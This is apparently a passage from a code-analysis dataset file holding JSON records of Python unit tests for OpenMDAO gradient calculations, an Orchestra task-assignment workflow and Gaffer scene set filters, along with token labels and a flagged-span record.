stream=stream,\n inputs=['comp.x', 'comp.y'])\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.check_gradient(name='comp', stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.comp.check_gradient(stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n comp = Paraboloid()\n comp.x = 3\n comp.y = 5\n Jbase, J, io_pairs, suspects = comp.check_gradient(stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n # now do it again to make sure name and parent were properly reset\n Jbase, J, io_pairs, suspects = comp.check_gradient(stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")", "metadata": "root.Testcase_derivatives.test_first_derivative", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 972 }, { "content": " def test_nested(self):\n\n top = set_as_top(Assembly())\n top.add('nest', Assembly())\n top.nest.add('comp', Paraboloid())\n\n # We shouldn't calculate a derivative of this\n top.nest.comp.add('unwanted', Float(12.34, iotype='in'))\n top.nest.comp.add('junk', Float(9.9, iotype='out'))\n\n top.driver.workflow.add(['nest'])\n top.nest.driver.workflow.add(['comp'])\n top.nest.create_passthrough('comp.x')\n top.nest.create_passthrough('comp.y')\n top.nest.create_passthrough('comp.unwanted')\n top.nest.create_passthrough('comp.f_xy')\n top.nest.x = 3\n top.nest.y = 5\n top.run()\n\n # Now we need to set a deriv policy to prevent squawking\n # about missing deriatives.\n top.nest.comp.missing_deriv_policy = 'assume_zero'\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.y'],\n outputs=['nest.f_xy'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 5.0, 0.0001)\n assert_rel_error(self, J[0, 1], 21.0, 0.0001)\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.y'],\n outputs=['nest.f_xy'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 5.0, 0.0001)\n assert_rel_error(self, J[0, 1], 21.0, 0.0001)\n\n # Now, let's find the derivative of the unconnected. Behaviour depends\n # on deriv policy.\n top.nest.add('stuff', Float(1.0, iotype='in'))\n top.nest.add('junk', Float(1.0, iotype='out'))\n top.add('first', Paraboloid())\n top.add('last', Paraboloid())\n top.connect('first.f_xy', 'nest.stuff')\n top.connect('nest.junk', 'last.x')\n top.driver.workflow.clear()\n top.driver.workflow.add(['first', 'nest', 'last'])\n\n top.nest.comp.missing_deriv_policy = 'assume_zero'\n top.run()\n J = top.driver.calc_gradient(inputs=['nest.x', 'first.x'],\n outputs=['nest.f_xy', 'last.f_xy'],\n mode='forward')\n\n top.nest.missing_deriv_policy = 'assume_zero'\n J = top.driver.calc_gradient(inputs=['nest.x', 'first.x'],\n outputs=['nest.f_xy', 'last.f_xy'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 5.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 0.0, .001)\n\n top.nest.missing_deriv_policy = 'error'\n\n J = top.driver.calc_gradient(inputs=['first.x'],\n outputs=['last.f_xy'],\n mode='forward')\n\n top.nest.missing_deriv_policy = 'assume_zero'\n J = top.driver.calc_gradient(inputs=['first.x'],\n outputs=['last.f_xy'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.stuff'],\n outputs=['nest.f_xy', 'nest.junk'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 5.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 0.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.stuff', 'nest.x'],\n outputs=['nest.junk', 'nest.f_xy', ],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 5.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.stuff', 'nest.x'],\n outputs=['nest.junk', 'nest.f_xy', ],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 5.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.stuff', 'nest.x'],\n outputs=['nest.f_xy', ],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n assert_rel_error(self, J[0, 1], 5.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.stuff'],\n outputs=['nest.f_xy', ],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 5.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.stuff'],\n outputs=['nest.f_xy', 'nest.junk'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 5.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 0.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.stuff'],\n outputs=['nest.junk'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n\n top.nest.missing_deriv_policy = 'error'\n J = top.driver.calc_gradient(inputs=['nest.stuff'],\n outputs=['nest.junk'],\n mode='forward')", "metadata": "root.Testcase_derivatives.test_nested", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1247 }, { "content": " def test_nested_2Darray(self):\n\n top = set_as_top(Assembly())\n top.add('nest', Assembly())\n top.nest.add('comp', ArrayComp2D())\n\n top.driver.workflow.add(['nest'])\n top.nest.driver.workflow.add(['comp'])\n top.nest.create_passthrough('comp.x')\n top.nest.create_passthrough('comp.y')\n top.run()\n\n J = top.driver.calc_gradient(inputs=['nest.x',],\n outputs=['nest.y'],\n mode='forward')\n\n diff = J - top.nest.comp.J\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x',],\n outputs=['nest.y'],\n mode='adjoint')\n diff = J - top.nest.comp.J\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 0]',],\n outputs=['nest.y[0, 0]'],\n mode='forward')\n\n diff = J - top.nest.comp.J[0, 0]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 0]',],\n outputs=['nest.y[0, 0]'],\n mode='adjoint')\n\n diff = J - top.nest.comp.J[0, 0]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 1]',],\n outputs=['nest.y[1, 0]'],\n mode='forward')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 1]',],\n outputs=['nest.y[1, 0]'],\n mode='adjoint')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 1]',],\n outputs=['nest.y[1, 0]'],\n mode='fd')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, -1]',],\n outputs=['nest.y[-1, 0]'],\n mode='forward')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, -1]',],\n outputs=['nest.y[-1, 0]'],\n mode='adjoint')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, -1]',],\n outputs=['nest.y[-1, 0]'],\n mode='fd')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n Jsub = top.nest.comp.J[2:3, 2:3]\n J = top.driver.calc_gradient(inputs=['nest.x[1][:]',],\n outputs=['nest.y[1][:]'],\n mode='forward')\n\n diff = J - Jsub\n\n J = top.driver.calc_gradient(inputs=['nest.x[1][:]',],\n outputs=['nest.y[1][:]'],\n mode='adjoint')\n\n diff = J - Jsub\n\n top.run()\n J = top.driver.calc_gradient(inputs=['nest.x[1][:]',],\n outputs=['nest.y[1][:]'],\n mode='fd')\n diff = J - Jsub", "metadata": "root.Testcase_derivatives.test_nested_2Darray", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2004 }, { "content": " def test_nondifferentiable_blocks(self):\n\n self.top = set_as_top(Assembly())\n\n exp1 = ['y1 = 2.0*x1**2',\n 'y2 = 3.0*x1']\n deriv1 = ['dy1_dx1 = 4.0*x1',\n 'dy2_dx1 = 3.0']\n\n exp2 = ['y1 = 0.5*x1']\n deriv2 = ['dy1_dx1 = 0.5']\n\n exp3 = ['y1 = 3.5*x1']\n deriv3 = ['dy1_dx1 = 3.5']\n\n exp4 = ['y1 = x1 + 2.0*x2',\n 'y2 = 3.0*x1',\n 'y3 = x1*x2']\n deriv4 = ['dy1_dx1 = 1.0',\n 'dy1_dx2 = 2.0',\n 'dy2_dx1 = 3.0',\n 'dy2_dx2 = 0.0',\n 'dy3_dx1 = x2',\n 'dy3_dx2 = x1']\n\n exp5 = ['y1 = x1 + 3.0*x2 + 2.0*x3']\n deriv5 = ['dy1_dx1 = 1.0',\n 'dy1_dx2 = 3.0',\n 'dy1_dx3 = 2.0']\n\n self.top.add('comp1', ExecComp(exp1))\n self.top.add('comp2', ExecComp(exp2))\n self.top.add('comp3', ExecComp(exp3))\n self.top.add('comp4', ExecCompWithDerivatives(exp4, deriv4))\n self.top.add('comp5', ExecComp(exp5))\n\n self.top.driver.workflow.add(['comp1', 'comp2', 'comp3', 'comp4', 'comp5'])\n\n self.top.connect('comp1.y1', 'comp2.x1')\n self.top.connect('comp1.y2', 'comp3.x1')\n self.top.connect('comp2.y1', 'comp4.x1')\n self.top.connect('comp3.y1', 'comp4.x2')\n self.top.connect('comp4.y1', 'comp5.x1')\n self.top.connect('comp4.y2', 'comp5.x2')\n self.top.connect('comp4.y3', 'comp5.x3')\n\n # Case 1 - differentiable (comp4)\n\n self.top.comp1.x1 = 2.0\n self.top.run()\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[1]._nodes)\n self.assertTrue(len(comp_list) == 3)\n self.assertTrue('comp1' in comp_list)\n self.assertTrue('comp2' in comp_list)\n self.assertTrue('comp3' in comp_list)\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[3]._nodes)\n self.assertTrue(len(comp_list) == 1)\n self.assertTrue('comp5' in comp_list)\n\n # Case 2 - differentiable (none)\n\n self.top.replace('comp4', ExecComp(exp4))\n\n self.top.comp1.x1 = 2.0\n self.top.run()\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[1]._nodes)\n self.assertTrue(len(comp_list) == 5)\n self.assertTrue('comp1' in comp_list)\n self.assertTrue('comp2' in comp_list)\n self.assertTrue('comp3' in comp_list)\n self.assertTrue('comp4' in comp_list)\n self.assertTrue('comp5' in comp_list)\n\n\n # Piggyback testing of the is_variable_local function -- make sure it\n # pokes through opaque systems.\n system = self.top.driver.workflow._system\n self.assertTrue(system.is_variable_local('comp2.y1') is True)\n\n # Case 3 - differentiable (comp5)\n\n self.top.replace('comp5', ExecCompWithDerivatives(exp5, deriv5))\n\n self.top.comp1.x1 = 2.0\n self.top.run()\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[1]._nodes)\n self.assertTrue(len(comp_list) == 4)\n self.assertTrue('comp1' in comp_list)\n self.assertTrue('comp2' in comp_list)\n self.assertTrue('comp3' in comp_list)\n self.assertTrue('comp4' in comp_list)\n\n # Case 4 - differentiable (comp1, comp3, comp5)\n\n self.top.replace('comp1', ExecCompWithDerivatives(exp1, deriv1))\n self.top.replace('comp3', ExecCompWithDerivatives(exp3, deriv3))\n\n self.top.comp1.x1 = 2.0\n self.top.run()\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[3]._nodes)\n self.assertTrue(len(comp_list) == 2)\n self.assertTrue('comp2' in comp_list)\n self.assertTrue('comp4' in comp_list)\n\n\n # Put everything in a single pseudo-assy, and run fd.\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='fd')\n assert_rel_error(self, J[0, 0], 313.0, .001)", "metadata": "root.Testcase_derivatives.test_nondifferentiable_blocks", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2519 }, { "content": " def test_missing_derivs_error(self):\n self.top = set_as_top(Assembly())\n\n self.top.add('driver', SimpleDriver())\n self.top.add('dis2', SimpleCompMissingDeriv())\n self.top.driver.add_objective('(dis2.y)**2')\n self.top.driver.add_parameter('dis2.x', low=-10.0, high=10.0)\n self.top.driver.add_constraint('dis2.miss_out < 24.0')\n\n self.top.run()\n try:\n J = self.top.driver.calc_gradient(mode='forward')\n except Exception as err:\n self.assertEqual(str(err),\n \"'dis2 (1-dis2): does not provide analytical derivatives for\"\n \" miss_out'\")\n else:\n self.fail(\"exception expected\")\n\n self.top.driver.remove_constraint('dis2.miss_out < 24.0')\n self.top.driver.add_constraint('dis2.y < 24.0')\n self.top.driver.remove_parameter('dis2.x')\n self.top.driver.add_parameter('dis2.miss_in', low=-10.0, high=10.0)\n\n try:\n J = self.top.driver.calc_gradient(mode='forward')\n except Exception as err:\n self.assertEqual(str(err),\n \"'dis2 (1-dis2): does not provide analytical derivatives for\"\n \" miss_in'\")\n else:\n self.fail(\"exception expected\")", "metadata": "root.Testcase_derivatives.test_missing_derivs_error", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2899 }, { "content": " def test_jacobian_size_error(self):\n\n top = set_as_top(Assembly())\n top.add('comp1', Array_Slice_1D())\n top.add('driver', SimpleDriver())\n top.driver.workflow.add(['comp1'])\n\n top.comp1.x = zeros((3, 2))\n try:\n J = top.driver.calc_gradient(inputs=[('comp1.x')],\n outputs=['comp1.y'],\n mode='forward')\n except RuntimeError as err:\n msg = 'comp1: Jacobian is the wrong size. Expected (4x6) but got (4x4)'\n self.assertEqual(str(err), msg)\n else:\n self.fail(\"exception expected\")", "metadata": "root.Testcase_derivatives.test_jacobian_size_error", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3020 } ]

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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]

[ { "content": " def test_get_new_task_assignment_reviewer(self):\n # Reviewer assignment\n self.assertEquals(Task.objects\n .filter(status=Task.Status.PENDING_REVIEW)\n .count(),\n 1)\n\n # assign a review task to worker\n assignment = get_new_task_assignment(self.workers[7],\n Task.Status.PENDING_REVIEW)\n self.assertTrue(assignment is not None)\n self.assertEquals(assignment.task.status,\n Task.Status.REVIEWING)\n\n self.assertEquals(assignment.in_progress_task_data,\n {'test_key': 'test_value'})\n\n # No tasks in state PENDING_REVIEW\n # No more tasks left in AWAITING_PROCESSING\n with self.assertRaises(NoTaskAvailable):\n get_new_task_assignment(self.workers[7],\n Task.Status.PENDING_REVIEW)\n\n # Assign an entry-level task to reviewer\n assignment = get_new_task_assignment(self.workers[7],\n Task.Status.AWAITING_PROCESSING)\n with self.assertRaises(NoTaskAvailable):\n get_new_task_assignment(self.workers[7],\n Task.Status.AWAITING_PROCESSING)", "metadata": "root.BasicTaskLifeCycleTestCase.test_get_new_task_assignment_reviewer", "header": "['class', 'BasicTaskLifeCycleTestCase', '(', 'OrchestraTestCase', ')', ':', '___EOS___']", "index": 108 } ]

[ { "span": "assignment ", "start_line": 132, "start_column": 8, "end_line": 132, "end_column": 18 } ]

[]

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[ { "content": "##########################################################################\n#\n# Copyright (c) 2014, Image Engine Design Inc. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# * Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n#\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided with\n# the distribution.\n#\n# * Neither the name of John Haddon nor the names of\n# any other contributors to this software may be used to endorse or\n# promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n##########################################################################\n\nimport unittest\n\nimport IECore\n\nimport Gaffer\nimport GafferTest\nimport GafferScene\nimport GafferSceneTest\n\n\nif __name__ == \"__main__\":\n\tunittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SetFilterTest( GafferSceneTest.SceneTestCase ) :\n\n\n\n\n", "metadata": "root.SetFilterTest", "header": "['module', '___EOS___']", "index": 45 }, { "content": "\tdef test( self ) :\n\n\t\tp1 = GafferScene.Plane()\n\t\tp2 = GafferScene.Plane()\n\t\tg = GafferScene.Group()\n\n\t\tg[\"in\"][0].setInput( p1[\"out\"] )\n\t\tg[\"in\"][1].setInput( p2[\"out\"] )\n\n\t\ts = GafferScene.Set()\n\t\ts[\"in\"].setInput( g[\"out\"] )\n\t\ts[\"paths\"].setValue( IECore.StringVectorData( [ \"/group/plane\" ] ) )\n\n\t\tf = GafferScene.SetFilter()\n\t\tf[\"set\"].setValue( \"set\" )\n\n\t\ta = GafferScene.StandardAttributes()\n\t\ta[\"in\"].setInput( s[\"out\"] )\n\t\ta[\"attributes\"][\"doubleSided\"][\"enabled\"].setValue( True )\n\t\ta[\"filter\"].setInput( f[\"out\"] )\n\n\t\tself.assertSceneValid( a[\"out\"] )\n\n\t\tself.assertTrue( \"doubleSided\" in a[\"out\"].attributes( \"/group/plane\" ) )\n\t\tself.assertTrue( \"doubleSided\" not in a[\"out\"].attributes( \"/group/plane1\" ) )\n\t\tself.assertTrue( \"doubleSided\" not in a[\"out\"].attributes( \"/group\" ) )\n\n\t\ts[\"paths\"].setValue( IECore.StringVectorData( [ \"/group\" ] ) )\n\n\t\tself.assertSceneValid( a[\"out\"] )\n\n\t\tself.assertTrue( \"doubleSided\" not in a[\"out\"].attributes( \"/group/plane\" ) )\n\t\tself.assertTrue( \"doubleSided\" not in a[\"out\"].attributes( \"/group/plane1\" ) )\n\t\tself.assertTrue( \"doubleSided\" in a[\"out\"].attributes( \"/group\" ) )", "metadata": "root.SetFilterTest.test", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 47 }, { "content": "\tdef testAffects( self ) :\n\n\t\tp1 = GafferScene.Plane()\n\t\tp2 = GafferScene.Plane()\n\t\tg = GafferScene.Group()\n\n\t\tg[\"in\"][0].setInput( p1[\"out\"] )\n\t\tg[\"in\"][1].setInput( p2[\"out\"] )\n\n\t\ts = GafferScene.Set()\n\t\ts[\"in\"].setInput( g[\"out\"] )\n\n\t\ta = GafferScene.StandardAttributes()\n\t\ta[\"in\"].setInput( s[\"out\"] )\n\n\t\t# no filter attached - changing a set should affect only\n\t\t# the globals.\n\n\t\tcs = GafferTest.CapturingSlot( a.plugDirtiedSignal() )\n\n\t\ts[\"paths\"].setValue( IECore.StringVectorData( [ \"/group\" ] ) )\n\t\tself.assertTrue( a[\"out\"][\"set\"] in set( [ c[0] for c in cs ] ) )\n\t\tself.assertTrue( a[\"out\"][\"attributes\"] not in set( [ c[0] for c in cs ] ) )\n\n\t\t# attach a filter - changing a set should affect the\n\t\t# attributes too.\n\n\t\tf = GafferScene.SetFilter()\n\t\ta[\"filter\"].setInput( f[\"out\"] )\n\n\t\tcs = GafferTest.CapturingSlot( a.plugDirtiedSignal() )\n\n\t\ts[\"paths\"].setValue( IECore.StringVectorData( [ \"/group/plane\" ] ) )\n\n\t\tself.assertTrue( a[\"out\"][\"set\"] in set( [ c[0] for c in cs ] ) )\n\t\tself.assertTrue( a[\"out\"][\"attributes\"] in set( [ c[0] for c in cs ] ) )", "metadata": "root.SetFilterTest.testAffects", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 82 }, { "content": "\tdef testMultipleStreams( self ) :\n\n\t\tp1 = GafferScene.Plane()\n\t\tg1 = GafferScene.Group()\n\t\tg1[\"in\"][0].setInput( p1[\"out\"] )\n\t\ts1 = GafferScene.Set()\n\t\ts1[\"in\"].setInput( g1[\"out\"] )\n\t\ts1[\"paths\"].setValue( IECore.StringVectorData( [ \"/group\" ] ) )\n\n\t\tp2 = GafferScene.Plane()\n\t\tg2 = GafferScene.Group()\n\t\tg2[\"in\"][0].setInput( p2[\"out\"] )\n\t\ts2 = GafferScene.Set()\n\t\ts2[\"in\"].setInput( g2[\"out\"] )\n\t\ts2[\"paths\"].setValue( IECore.StringVectorData( [ \"/group/plane\" ] ) )\n\n\t\tf = GafferScene.SetFilter()\n\t\tf[\"set\"].setValue( \"set\" )\n\n\t\ta1 = GafferScene.StandardAttributes()\n\t\ta1[\"in\"].setInput( s1[\"out\"] )\n\t\ta1[\"attributes\"][\"doubleSided\"][\"enabled\"].setValue( True )\n\t\ta1[\"filter\"].setInput( f[\"out\"] )\n\n\t\ta2 = GafferScene.StandardAttributes()\n\t\ta2[\"in\"].setInput( s2[\"out\"] )\n\t\ta2[\"attributes\"][\"doubleSided\"][\"enabled\"].setValue( True )\n\t\ta2[\"filter\"].setInput( f[\"out\"] )\n\n\t\tself.assertSceneValid( a1[\"out\"] )\n\t\tself.assertSceneValid( a2[\"out\"] )\n\n\t\tself.assertTrue( \"doubleSided\" in a1[\"out\"].attributes( \"/group\" ) )\n\t\tself.assertTrue( \"doubleSided\" not in a1[\"out\"].attributes( \"/group/plane\" ) )\n\n\t\tself.assertTrue( \"doubleSided\" not in a2[\"out\"].attributes( \"/group\" ) )\n\t\tself.assertTrue( \"doubleSided\" in a2[\"out\"].attributes( \"/group/plane\" ) )", "metadata": "root.SetFilterTest.testMultipleStreams", "header": "['class', 'SetFilterTest', '(', 'GafferSceneTest', '.', 'SceneTestCase', ')', ':', '___EOS___']", "index": 119 }, { "content": "\tdef testIsolate( self ) :\n\n\t\tp1 = GafferScene.Plane()\n\t\tp2 = GafferScene.Plane()\n\t\tg = GafferScene.Group()\n\t\tg[\"in\"][0].setInput( p1[\"out\"] )\n\t\tg[\"in\"][1].setInput( p2[\"out\"] )\n\n\t\ts1 = GafferScene.Set()\n\t\ts1[\"name\"].setValue( \"set1\" )\n\t\ts1[\"paths\"].setValue( IECore.StringVectorData( [ \"/group/plane\" ] ) )\n\t\ts1[\"in\"].setInput( g[\"out\"] )\n\n\t\ts2 = GafferScene.Set()\n\t\ts2[\"name\"].setValue( \"set2\" )\n\t\ts2[\"paths\"].setValue( 